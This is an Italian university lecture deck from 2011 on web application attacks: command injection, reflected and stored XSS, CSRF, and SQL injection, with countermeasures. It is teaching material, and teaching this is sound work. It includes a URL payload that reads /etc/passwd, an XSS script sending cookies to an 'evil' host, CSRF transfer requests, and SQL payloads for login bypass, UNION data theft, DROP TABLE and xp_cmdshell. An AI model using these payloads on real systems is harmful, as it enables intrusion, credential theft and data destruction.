Sicurezza delle applicazioni web: attacchi web



Documenti analoghi
Sicurezza delle applicazioni web: attacchi web

Sicurezza delle applicazioni web: attacchi web

Attacchi Web. Davide Marrone

Sicurezza delle applicazioni web: attacchi web

Sicurezza delle applicazioni web: attacchi web

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

CONTENUTI 1. INTRODUZIONE CONCETTI BASICI SU EQUINOX CMS XPRESS ACCESSO A EQUINOX CMS XPRESS PAGINA D INIZIO...

Programmazione Web. Laboratorio 4: PHP e MySQL

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

Laboratorio di reti II: Problematiche di sicurezza delle reti

19. LA PROGRAMMAZIONE LATO SERVER

Data Base. Master "Bio Info" Reti e Basi di Dati Lezione 6

PHP e Structured Query Language

Indice register_globals escaping

Navigazione automatica e rilevazione di errori in applicazioni web

2.5. L'indirizzo IP identifica il computer di origine, il numero di porta invece identifica il processo di origine.

sito web sito Internet

Esercizi di JavaScript

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

Obiettivo dell esercitazione

Bibliografia: Utenti e sessioni

GERARCHIE RICORSIVE - SQL SERVER 2008

Legenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità.

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

Corso di Web Programming

--- PREMESSE INTRODUZIONE. .:luxx:.

Lezione 9. Applicazioni tradizionali

Documentazione API web v 1.0

Sicurezza Informatica: Tecniche di SQL INJECTION

Il linguaggio SQL. è di fatto lo standard tra i linguaggi per la gestione di data base relazionali.

Sistemi per la gestione di database: MySQL ( )

La tecnologia ASP.NET e i database

TeamPortal. Servizi integrati con ambienti Gestionali

Sicurezza delle applicazioni web: attacchi

Esercitazione 8. Basi di dati e web

Riccardo Dutto, Paolo Garza Politecnico di Torino. Riccardo Dutto, Paolo Garza Politecnico di Torino

Approfondimenti. Il controllo di SQL Injection nelle pagine ASP e ASP.NET. U.A. 5 - Database in rete con le pagine ASP e ASP.

MySQL Database Management System

INFORMATICA. Applicazioni WEB a tre livelli con approfondimento della loro manutenzione e memorizzazione dati e del DATABASE.

Il Protocollo HTTP e la programmazione di estensioni Web

Le mie immagini su WEB: l ABC per iniziare. 6 maggio 2008

Uso delle basi di dati DBMS. Cos è un database. DataBase. Esempi di database

Scaletta. Estensioni UML per il Web. Applicazioni web - 2. Applicazioni web. WAE: Web Application Extension for UML. «Client page»

Database e reti. Piero Gallo Pasquale Sirsi

Esercitazione query in SQL L esercitazione viene effettuata sul database viaggi e vacanze che prevede il seguente modello E/R:

MODULO 1 PARTE 3. Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni. Goy - a.a. 2012/2013 Programmazione Web 1

Sicurezza delle applicazioni web: attacchi

Lavorare con MySQL Parte Seconda.


Corso Sistemi Informativi Avanzati. Programma 30 set Installazione Macchina Virtuale. Introduzione alla BI nelle Aziende.

MySQL Database Management System

Web Programming Specifiche dei progetti

Protocolli e architetture per WIS

Cookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:

1) Il client(browser utilizzato) invia al server i dati inseriti dall utente. Server

REOL-Services Quick Reference Ver. 1.1 Tecno Press Srl. 1

POSTECERT POST CERTIFICATA GUIDA ALL USO DELLA WEBMAIL

b) Dinamicità delle pagine e interattività d) Separazione del contenuto dalla forma di visualizzazione

Obiettivi d esame PHP Developer Fundamentals on MySQL Environment

Costruzione di Sit Web con PHP e MySQL. Lezione 7 - Esercitazione - Introduzione a MySQL: le tabelle, i tpi di dato, le query

Client - Server. Client Web: il BROWSER

Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting

Indice Configurazione di PHP Test dell ambiente di sviluppo 28

VntRAS Communication Suite

Esercitazione 1. Sistemi Informativi T. Versione elettronica: L01.2.DDLDMLbase.pdf

Che cos'è un modulo? pulsanti di opzione caselle di controllo caselle di riepilogo

Carlo, Pelliccioni Security


Come modificare la propria Home Page e gli elementi correlati

SITI-Reports. Progetto SITI. Manuale Utente. SITI-Reports. ABACO S.r.l.

Dispensa di database Access

OSSIF WEB. Manuale query builder

DBMS (Data Base Management System)

Basi di dati. Il Linguaggio SQL. K. Donno - Il Linguaggio SQL

UNIVERSITÀ DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica. Simona Ullo

Applicazioni Web: meccanismi per il passaggio di informazioni tramite HTTP Corso di Applicazioni Telematiche

Applicazioni software e gestione delle vulnerabilità: un caso concreto di successo

Benvenuti. Luca Biffi, Direttore Tecnico di Achab Achab techjam Archive Server for MDaemon

Lezione V. Aula Multimediale - sabato 29/03/2008

MDAC. Attualmente la versione disponibile di MDAC è la 2.8 ma faremo riferimento alla 2.6. ADO Active Data Objects ADO OLE DB ODBC

DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER

Sito web parrocchiale: STRUMENTI E PROGRAMMI

Siti interattivi e dinamici. in poche pagine

Il Web Server e il protocollo HTTP

Manuale di utilizzo del sito ASUWEB

SQL Server Introduzione all uso di SQL Server e utilizzo delle opzioni Olap. Dutto Riccardo - SQL Server 2005.

Indice generale. Capitolo 3 Introduzione a PHP...43 Sintassi e istruzioni di base Variabili, operatori e commenti Array...

DBMS. Esempi di database. DataBase. Alcuni esempi di DBMS DBMS. (DataBase Management System)

SQL Server Integration Services. SQL Server 2005: ETL - 1. Integration Services Project

Progettazione Web Applicazioni client-server

Progetto ittorario Anno scol

SETEFI. Marco Cantarini, Daniele Maccauro, Domenico Marzolla. 19 Aprile 2012

Corso Analista Programmatore Web PHP Corso Online Analista Programmatore Web PHP

Corso basi di dati Introduzione alle ASP

Wordpress. Acquistare un sito web. Colleghiamoci con il sito

COME CREARE E COLLEGARSI AD UN DATABASE MICROSOFT SQL SERVER O SUN MYSQL

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database

Introduzione ai Sistemi di Gestione di Basi di Dati XML

Corso di Informatica Modulo T3 B1 Programmazione web

Transcript:

Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2010/2011 Sicurezza delle applicazioni web: attacchi web Alessandro Reina, Aristide Fattori 12 Maggio 2011 Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 1 / 28

Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 2 / 28

Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 2 / 28

Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 2 / 28

Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 2 / 28

Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 2 / 28

OWASP Top Ten (2010) 1 Injection 2 Cross-Site Scripting (XSS) 3 Broken Authentication and Session Management 4 Insecure Direct Object References 5 Cross-Site Request Forgery (CSRF) 6 Security Misconfiguration 7 Insecure Cryptographic Storage 8 Failure to Restrict URL Access 9 Insufficient Transport Layer Protection 10 Unvalidated Redirects and Forwards Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 3 / 28

Environment Sistema stabile Un sistema stabile è un sistema con una risposta documentata a qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Design specification Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 4 / 28

Environment Sistema stabile Un sistema stabile è un sistema con una risposta documentata a qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Design specification Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 4 / 28

Environment Sistema stabile Un sistema stabile è un sistema con una risposta documentata a qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Design specification Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 4 / 28

Source Code Injection Include file injection Source code injection è una vulnerabilià causata da un controllo non sufficiente delle variabili utilizzate nelle funzioni come ad esempio include(), require(). Esempio <? include("$data")?> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 5 / 28

Command injection Esempio Command Injection i linguaggi di lato server consentono l esecuzione di comandi (e.g., system(), exec(), popen(), eval()) nome del comando e argomenti sono passati tramite stringa a volte nome/argomenti sono generati dinamicamente mancata sanitizzazione può introdurre vulnerabilità Ricerca di uno User-Agent nei log... system( cut -d \" -f 6 /var/log/apache2/access.log grep -i. $_GET[ chiave ]);... Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 6 / 28

Command injection Esempio Command Injection i linguaggi di lato server consentono l esecuzione di comandi (e.g., system(), exec(), popen(), eval()) nome del comando e argomenti sono passati tramite stringa a volte nome/argomenti sono generati dinamicamente mancata sanitizzazione può introdurre vulnerabilità Ricerca di uno User-Agent nei log... system( cut -d \" -f 6 /var/log/apache2/access.log grep -i. $_GET[ chiave ]);... http://www.ex.com/user_agent_stat.php?chiave=a;%20cat%20/etc/passwd Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 6 / 28

Attacchi client-side Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF) sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) attacco: modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript) la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete) il browser interpreta il codice iniettato dall attaccante Esempi di obiettivi dell attacco 1 ottenere cookie associati al dominio vulnerabile 2 manipolazione form di login 3 esecuzione di GET/POST addizionali 4... qualunque cosa si possa fare con HTML + JavaScript! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 7 / 28

Attacchi client-side Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF) sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) attacco: modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript) la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete) il browser interpreta il codice iniettato dall attaccante Esempi di obiettivi dell attacco 1 ottenere cookie associati al dominio vulnerabile 2 manipolazione form di login 3 esecuzione di GET/POST addizionali 4... qualunque cosa si possa fare con HTML + JavaScript! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 7 / 28

Reflected Cross-Site Scripting Funzionamento una pagina dinamica è vulnerabile a XSS l utente è indotto a accedere alla pagina vulnerabile l exploit è contenuto nell URL Esempio: http://vulnerabile/a.php?var=<script>document.location= http: //evil/log.php? +document.cookie</script> Offuscamento tecniche di encoding nascondere il link con l exploit dalla barra di stato un link innocuo effettua un redirect (HTTP 3xx) Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 8 / 28

Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href="http://vulnerabile/vuln.php?nome=<script>document.location= http://evil/log.php? +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= http://evil/log.php? +document.cookie</script> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 9 / 28

Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href="http://vulnerabile/vuln.php?nome=<script>document.location= http://evil/log.php? +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= http://evil/log.php? +document.cookie</script> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 9 / 28

Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href="http://vulnerabile/vuln.php?nome=<script>document.location= http://evil/log.php? +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= http://evil/log.php? +document.cookie</script> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 9 / 28

Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href="http://vulnerabile/vuln.php?nome=<script>document.location= http://evil/log.php? +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= http://evil/log.php? +document.cookie</script> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 9 / 28

Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href="http://vulnerabile/vuln.php?nome=<script>document.location= http://evil/log.php? +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= http://evil/log.php? +document.cookie</script> Il browser interpreta il codice JavaScript, legge i Cookie della vittima per il dominio vulnerabile, si collega al sito evil e li passa in GET Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 9 / 28

Stored Cross-Site Scripting Fase 1 l attaccante invia al server il codice da iniettare il server memorizza in modo persistente il codice (e.g., database, file, messaggio inserito in un forum) il codice dell attacco non è visibile nell URL Fase 2 il client si collega al server il server genera la pagina inserendo anche il codice iniettato Osservazioni tutti gli utenti che richiederanno la pagina subiranno l attacco il codice ineittato non è visibile nell URL molto più pericoloso rispetto ai reflected! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 10 / 28

Cross-Site Request Forgery Obiettivo far eseguire delle azioni alle vittime, sfruttando le loro credenziali (e.g., cookie di sessione) con JavaScript non è possibile accedere ai cookie di un altro dominio (same origin policy) XSS CSRF, ossia XSS = CSRF CSRF è possibile anche senza XSS CSRF reflected e stored samy is my hero virus JavaScript che sfrutta CSRF... forse non ancora utilizzati per creare danni tangibili Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 11 / 28

Stored CSRF (GET) Esempio stored CSRF in sito maligno il client si collega a http://www.mia-banca.it/ e si autentica il client apre un altra istanza del browser (tab o finestra) e si collega ad un sito maligno la pagina maligna contiene qualcosa del tipo: <img src= http://www.mia banca.it/traferisci.php?to=1337&amount=10000 /> il browser crea una richiesta HTTP nella quale inserisce i parametri GET e inserisce il Cookie con l ID di sessione appropriato Osservazioni in JavaScript, utilizzando i form HTML si possono creare qualsiasi tipo di richieste HTTP (sia GET che POST) il sito maligno non deve essere necessariamente dinamico! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 12 / 28

Stored CSRF (POST) Esempio stored CSRF nel target Assunzione l attaccante ha il pieno accesso alla pagina HTML e può usare AJAX la vittima si collega a http://www.banca-vulnerabile.it e si autentica la vittima richiede la pagina che contiene il codice dell attacco il server (oltre alla pagine) restituisce: 1 var http = false; var body = to=1337&amount=10000 ; 2 http = new XMLHttpRequest(); 3 http.onreadystatechange = handleresponse; 4 http.open( POST, http://www.banca vulnerabile.it/trasferisci.php, true); 5 http.setrequestheader( Content type, application/x www form urlencoded ); 6 http.setrequestheader( Content length, body.length); 7 http.send(body); 8 function handleresponse() {... } per banca-vulnerabile, la richiesta è indistinguibile da una lecita Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 13 / 28

XSS/CSRF: Contromisure Lato client reflected XSS: se l attacco è visibile nella URL può essere facilmente evitato passando dalla root del dominio estensioni per Firefox: noscript (JavaScript su richiesta) non visitare altri siti quando utilizza il conto on-line, effettuare sempre il logout Lato server l input va sempre considerato insicuro, vanno applicate le corrette funzioni di sanitizzazione (e.g., htmlspecialchars()) Per CSRF: CAPTCHA (funzionano sempre?), PIN da inserire per ogni transazione importante per quelli su siti esterni si potrebbe passare una chiave tra le varie pagine dell applicazione (e.g., campi hidden) Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 14 / 28

SQL injection (SQLI) Scenario molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog,... ) database SQL Injection Si definisce SQL Injection una vulnerabilità che si verifica quando un attaccante è in grado di inserire codice nella query SQL. SQLI mancata validazione dell input le query generate dall applicazione contengono input si ha SQLI quando, manipolando l input, è possibile modificare sintatticamente o semanticamente una query SQL Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 15 / 28

SQL injection (SQLI) Scenario molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog,... ) database SQL Injection Si definisce SQL Injection una vulnerabilità che si verifica quando un attaccante è in grado di inserire codice nella query SQL. SQLI mancata validazione dell input le query generate dall applicazione contengono input si ha SQLI quando, manipolando l input, è possibile modificare sintatticamente o semanticamente una query SQL Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 15 / 28

SQL injection Esempio (PHP) 1 $nome = $ POST[ nome ]; 2 $passw = $ POST[ passw ]; 3 4 $result = mysql query( SELECT FROM Utenti. 5 WHERE nome= $nome AND passw= $passw ; ); 6 if(mysql num rows($result) > 0 ) { 7... 8 } 1 nome = mario passw = xyz... WHERE nome= mario AND passw= xyz ; 2 nome = admin passw = xyz OR 1 = 1... WHERE nome= admin AND passw= xyz OR 1 = 1 ;... quali righe seleziona l ultima query? Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 16 / 28

SQLI: Sorgenti d iniezione Input utente e header HTTP Input dell utente parametri GET/POST molte tecnologie client-side comunicano col server tramite GET/POST (e.g., Flash, applet Java, AJAX) Header HTTP tutti gli header HTTP devono essere considerati pericolosi User-Agent,Referer,... possono essere stati manipolati Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 17 / 28

SQLI: Sorgenti d iniezione Cookie e second order injection Cookie sono header aggiuntivi non modificabili da un normale browser provengono dal client pericolosi Second order injection l input viene memorizzato dall applicazione (file,database) successivamente, l input è utilizzato per la costruzione di query SQL Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 18 / 28

SQLI: Obiettivi dell attacco identificazione dei parametri iniettabili: analizzare l applicazione per scoprire le sorgenti d iniezione database footprinting: scoprire tipo e versione del DBMS in uso; facilitato da una gestione inadeguata degli errori determinazione del DB schema: nomi delle tabelle, nome e tipo delle colonne estrazione dati: estrazione di dati (sensibili) dal database manipolazione dei dati: inserimento, modifica o cancellazione dei dati denial of service: impedire l uso dell applicazione ad altri utenti (LOCK, DELETE,... ) bypassing dell autenticazione: eludere un meccanismo di autenticazione esecuzione remota di comandi: esecuzione di comandi (esterni al DBMS, stored procedure) Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 19 / 28

SQLI: Alcuni esempi Bypass dell autenticazione tramite tautologie query dell applicazione: $q = SELECT id FROM utente WHERE user=.$user. AND pass=.$pass. ; parametri inviati dall attaccante: $user = admin ; $pass = OR 1 = 1 ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 = 1 ; se l applicazione Web avesse sanitizzato l input (e.g., mysql escape string()): $q = SELECT id FROM utente WHERE user= admin AND pass= \ OR \ \ =\ ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 20 / 28

SQLI: Alcuni esempi Bypass dell autenticazione tramite tautologie query dell applicazione: $q = SELECT id FROM utente WHERE user=.$user. AND pass=.$pass. ; parametri inviati dall attaccante: $user = admin ; $pass = OR 1 = 1 ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 = 1 ; se l applicazione Web avesse sanitizzato l input (e.g., mysql escape string()): $q = SELECT id FROM utente WHERE user= admin AND pass= \ OR \ \ =\ ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 20 / 28

SQLI: Alcuni esempi Bypass dell autenticazione tramite tautologie query dell applicazione: $q = SELECT id FROM utente WHERE user=.$user. AND pass=.$pass. ; parametri inviati dall attaccante: $user = admin ; $pass = OR 1 = 1 ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 = 1 ; se l applicazione Web avesse sanitizzato l input (e.g., mysql escape string()): $q = SELECT id FROM utente WHERE user= admin AND pass= \ OR \ \ =\ ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 20 / 28

SQLI: Alcuni esempi Bypass dell autenticazione tramite tautologie query dell applicazione: $q = SELECT id FROM utente WHERE user=.$user. AND pass=.$pass. ; parametri inviati dall attaccante: $user = admin ; $pass = OR 1 = 1 ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 = 1 ; se l applicazione Web avesse sanitizzato l input (e.g., mysql escape string()): $q = SELECT id FROM utente WHERE user= admin AND pass= \ OR \ \ =\ ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 20 / 28

SQLI: Alcuni esempi Altre tautologie utilizzo di commenti SQL per evitare di terminare correttamente la query $pass = OR 1=1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1=1 ; $pass = OR 1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 ; $user = admin # ; $q = SELECT id FROM utente WHERE user= admin # AND pass= ; scelta blind del primo user disponibile $user = OR user LIKE % # ; $q = SELECT id FROM utente WHERE user= OR user LIKE % # AND pass= ; $user = OR 1 # ; $q = SELECT id FROM utente WHERE user= OR 1 # AND pass= ; elusione di IDS $pass = OR 5>4 OR password= prova ; $pass = OR vulnerabilita > server ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 21 / 28

SQLI: Alcuni esempi Altre tautologie utilizzo di commenti SQL per evitare di terminare correttamente la query $pass = OR 1=1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1=1 ; $pass = OR 1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 ; $user = admin # ; $q = SELECT id FROM utente WHERE user= admin # AND pass= ; scelta blind del primo user disponibile $user = OR user LIKE % # ; $q = SELECT id FROM utente WHERE user= OR user LIKE % # AND pass= ; $user = OR 1 # ; $q = SELECT id FROM utente WHERE user= OR 1 # AND pass= ; elusione di IDS $pass = OR 5>4 OR password= prova ; $pass = OR vulnerabilita > server ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 21 / 28

SQLI: Alcuni esempi Altre tautologie utilizzo di commenti SQL per evitare di terminare correttamente la query $pass = OR 1=1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1=1 ; $pass = OR 1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 ; $user = admin # ; $q = SELECT id FROM utente WHERE user= admin # AND pass= ; scelta blind del primo user disponibile $user = OR user LIKE % # ; $q = SELECT id FROM utente WHERE user= OR user LIKE % # AND pass= ; $user = OR 1 # ; $q = SELECT id FROM utente WHERE user= OR 1 # AND pass= ; elusione di IDS $pass = OR 5>4 OR password= prova ; $pass = OR vulnerabilita > server ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 21 / 28

Tecniche d attacco SQLI UNION Query obiettivo: reperire record da altre tabelle esempio di query: $q = SELECT id, nome, prezzo, descrizione. FROM prodotto WHERE categoria=. $ GET[ cat ]; parametri passati dall attaccante: $cat = 1 UNION SELECT 1, user, 1, pass FROM utente ; numero e tipo di colonne della seconda SELECT devono coincidere con quelli della prima MySQL: una mancata corrispondenza fra i tipi provoca cast automatici $cat = 1 UNION SELECT 1, 1, user, pass FROM utente ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 22 / 28

Tecniche d attacco SQLI Second order injection obiettivo: far si che un parametro inizialmente innocuo diventi successivamente pericoloso username inserito dall attaccante: $user = admin # ; durante l inserimento nel database, $user viene sanitizzato correttamente l utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati: $q = UPDATE utente SET pass=. $ POST[ newpass ]. WHERE user=. $row[ user ]. ; query eseguita dall applicazione: $q = UPDATE utente SET pass= password WHERE user= admin # ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 23 / 28

Tecniche d attacco SQLI Second order injection obiettivo: far si che un parametro inizialmente innocuo diventi successivamente pericoloso username inserito dall attaccante: $user = admin # ; durante l inserimento nel database, $user viene sanitizzato correttamente l utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati: $q = UPDATE utente SET pass=. $ POST[ newpass ]. WHERE user=. $row[ user ]. ; query eseguita dall applicazione: $q = UPDATE utente SET pass= password WHERE user= admin # ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 23 / 28

Tecniche d attacco SQLI Piggy-backed obiettivo: eseguire un numero arbitrario di query, separate da ; esempio di query: $q = SELECT id FROM utente WHERE user=. $user. AND pass=. $pass. ; parametri passati dall attaccante: $user = ; DROP TABLE utente ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= ; DROP TABLE utente AND pass= ; entrambe le query vengono eseguite! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 24 / 28

Tecniche d attacco SQLI Piggy-backed obiettivo: eseguire un numero arbitrario di query, separate da ; esempio di query: $q = SELECT id FROM utente WHERE user=. $user. AND pass=. $pass. ; parametri passati dall attaccante: $user = ; DROP TABLE utente ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= ; DROP TABLE utente AND pass= ; entrambe le query vengono eseguite! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 24 / 28

Tecniche d attacco SQLI Query illogica-illegale obiettivo: recuperare informazioni su tabelle, DBMS,... esempio di attacco: $user = HAVING 1=1 ; query eseguita dall applicazione: SELECT FROM users WHERE username= HAVING 1=1 AND password= possibile risposta del server: Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Column users.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 25 / 28

Tecniche d attacco SQLI Stored Procedure obiettivo: esecuzione di comandi remoti (stored procedure) MSSQL mette a disposizione circa 1000 stored procedure, per gestione database, creazione tabelle, gestione dati esterni,... xp cmdshell consente l esecuzione di comandi sulla macchina esempio: ; EXEC master..xp cmdshell dir c: Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 26 / 28

SQLI: Contromisure Sanitizzazione dei dati affidata ai programmatori i programmatori spesso si affidano a metodi automagici (e.g., in PHP, magic quotes gpc fa escaping tramite addslashes()) la sanitizzazione dipende dall attacco contro cui ci si vuole proteggere! sanitizzazione tramite regexp può essere tricky se ci aspetta un numero come parametro, verificare che sia tale... è possibile costruire stringhe senza utilizzare apici (AAA char(65,65,65)) Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 27 / 28

Bibliografia RFC HTTP http: // tools. ietf. org/ html/ rfc1945 (HTTP 1.0) http: // tools. ietf. org/ html/ rfc2616 (HTTP 1.1) http: // tools. ietf. org/ html/ rfc2109 (HTTP State Management Mechanism) OWASP XSS http: // www. owasp. org/ index. php/ XSS_ Attacks CSRF http: // www. owasp. org/ index. php/ CSRF Altro http: // wp. netscape. com/ newsref/ std/ cookie_ spec. html (Cookies) M. Kolsek Session Fixation Vulnerability in Web-based Applications http: // www. acros. si/ papers/ session_ fixation. pdf Samy virus: http: // namb. la/ popular/ A Classification of SQL Injection Attacks and Countermeasures http: // www. cc. gatech. edu/ ~ orso/ papers/ halfond. viegas. orso. ISSSE06. pdf Advanced SQL Injection In SQL Server Applications http: // www. nextgenss. com/ papers/ advanced_ sql_ injection. pdf Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio 2011 28 / 28